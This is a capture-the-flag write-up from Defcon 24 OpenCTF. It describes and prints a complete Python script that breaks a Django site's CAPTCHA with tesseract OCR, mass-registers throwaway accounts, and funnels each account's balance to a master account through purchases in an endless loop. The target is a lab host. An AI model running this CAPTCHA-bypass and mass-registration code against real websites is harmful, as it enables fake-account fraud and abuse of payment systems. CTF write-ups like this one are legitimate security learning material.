Defcon 24 OpenCTF

flag 45 - get $100,000

The Setup:

I wrote a python script that automated registering hundreds of accounts, logging into each account, transferring the initial $500 that the account is created with to the same master account which drove the master account's balance to over $100,000 revealing the flag.

Automating Registering the Accounts:

This part of the challenge required submitting a form repeatedly to spawn hundreds of new accounts. To break the CAPTCHA that was on the form page, I used pytesseract, a python wrapper for tesseract-ocr which is a command line tool that uses optical character recognition to extract the text from the CAPTCHA. After trying 7 or 8 different CAPTCHA breaking libraries, tesseract was the only one that I found that would crack the CAPTCHA out of the box with no training. It is worth noting that it only successfully guessed the CAPTCHA text once in every 8 or 9 guesses, but that was sufficient for this challenge.

The script does a get request to the signup page and parses the response using Beautiful Soup. It extracts django's csrftoken and the url for the CAPTCHA image. The csrftoken, CAPTCHA guess, and a username/password, which are just random UUID generated values, are posted to the signup page.

Logging in and purchasing:

The response from the post request to the signup page is parsed with Beautiful Soup and checked for a Log In form. This is done because a successful registration takes you back to the homepage which has a login form on it. If the registration attempt fails, the response contains the registration form with the errors highlighted, but the error page does not have a login form on it. When the response contains a login page, the username and password from the account that was just created are posted to the login URL.

Once the new account is successfully authenticated, a simple get request to the purchase URL for the item posted is made which transfers the $499 that the new account was created with to the master account. The account is then logged out to terminate the session.

Creating the next item for sale:

Since an item can only be purchased one time, every time an account we spawn purchases an item, a new item must be created for the next account to purchase. This is accomplished by authenticating via a post request to the login page using the credentials from our main account and then making a post request to the create new item page. The URL of the newly created item is then placed in a global variable so the account created during the next iteration of the script can access the newly created purchase URL.


The Script

#!/bin/python
import Image
import pytesseract
import requests
from bs4 import BeautifulSoup
import urllib, cStringIO
import uuid
import time

# global variable to hold the first item for sale
purchase_URL = "http://172.31.1.55/listing/275104/?buy=1"

def MakeMeMoney():
	# bring the global variable into scope
	global purchase_URL

	# create a session object so we dont have to deal with cookies
	s = requests.Session()

	# get the signup page and parse it with Beautiful Soup
	r = s.get("http://172.31.1.55/signup/")
	soup = BeautifulSoup(r.text, 'html.parser')

	# get the hashed value for the captcha image
	id_captcha_0 = soup.find(id='id_captcha_0')['value']

	# build the URL that points to the captcha image and pull a copy of it
	URL = 'http://172.31.1.55/captcha/image/' + id_captcha_0 + '/'
	file = cStringIO.StringIO(urllib.urlopen(URL).read())
	img = Image.open(file)

	# use tesseract to crack the captcha
	captcha = pytesseract.image_to_string(img)

	# get the CSRF middleware token
	csrfmiddlewaretoken = soup.findAll(attrs={"name" : "csrfmiddlewaretoken"})[0]['value']

	# uuid1 is our new accounts username, uuid2 is the password
	uuid1 = uuid.uuid4().__str__()[:15]
	uuid2 = uuid.uuid4().__str__()[:15]

	# use the payload to fill out the form on the signup page and post it
	payload = {'username': uuid1, 'password1': uuid2, 'password2': uuid2, 'captcha_0': id_captcha_0, 'captcha_1': captcha, 'csrfmiddlewaretoken': csrfmiddlewaretoken}
	finalpost = s.post("http://172.31.1.55/signup/", data=payload)

	print('post submitted')
	
	# parse the response with Beautiful Soup
	soup = BeautifulSoup(finalpost.text, 'html.parser')

	try:
		# if we failed to create an account, the next line will throw an array out of bounds exception
		if soup.findAll(attrs={"value" : "Log in"})[0] != None:
			print('post was successful')

			# write the username and password to a local file, we dont need to do this, its just nice
			with open("/root/ctf/djangoreg/accounts", "a") as f:
				f.write(uuid1 + ',' + uuid2 + '\n')
			print('successfully wrote username and password to file')

			# get the login page so we can extract the CSRF token from it
			r = s.get("http://172.31.1.55/accounts/login/")
			soup = BeautifulSoup(r.text, 'html.parser')
			csrfmiddlewaretoken = soup.findAll(attrs={"name" : "csrfmiddlewaretoken"})[0]['value']

			# build the payload to fill out the form on the login page
			# use the uuid1 and uuid2 variables from the successful account registration
			payload = {'username': uuid1, 'password': uuid2, 'csrfmiddlewaretoken': csrfmiddlewaretoken}
		
			# LOGIN TO THE NEW ACCOUNT
			finalpost1 = s.post("http://172.31.1.55/accounts/login/", data=payload)
	
			print('logged in')

			# perform a get request on the Purchase URL to purchase the item
			x = s.get(purchase_URL)
	
			print('purchased')

			# Logout
			s.get("http://172.31.1.55/accounts/logout")

			print('logged out')

			r = s.get("http://172.31.1.55/accounts/login/")
			print('got login page')

			# log back in as the account that is collecting all of the funds
			soup = BeautifulSoup(r.text, 'html.parser')
			csrfmiddlewaretoken = soup.findAll(attrs={"name" : "csrfmiddlewaretoken"})[0]['value']
			payload = {'username': 'makememoney', 'password': 'djangorules', 'csrfmiddlewaretoken': csrfmiddlewaretoken}
			finalpost = s.post("http://172.31.1.55/accounts/login/", data=payload)

			print('logged in as makememoney')

			# get the new listing page so we can extract the CSRF token
			abc = s.get("http://172.31.1.55/listings/new/")
			soup = BeautifulSoup(abc.text, 'html.parser')
			csrfmiddlewaretoken = soup.findAll(attrs={"name" : "csrfmiddlewaretoken"})[0]['value']

			# create the payload to fill out the new listing form and create the new listing
			payload = {'name': uuid1, 'details': uuid1, 'csrfmiddlewaretoken': csrfmiddlewaretoken, 'image_src': 'moneymoneymoney', 'cost': '499'}
			finalfinalpost = s.post("http://172.31.1.55/listings/new/", data=payload)

			# save our new item URL as purchase_URL for the next iteration to use
			purchase_URL = finalfinalpost.url + '?buy=1'
			
			# logout so we can use the session variable to create a new account
			s.get("http://172.31.1.55/accounts/logout")
			print('new listing created successfully')
			print(purchase_URL)
			
	except:
		# the tesseract guess failed the captcha, no account created
		print('captcha failed')

# loop forever
while(1):
	MakeMeMoney()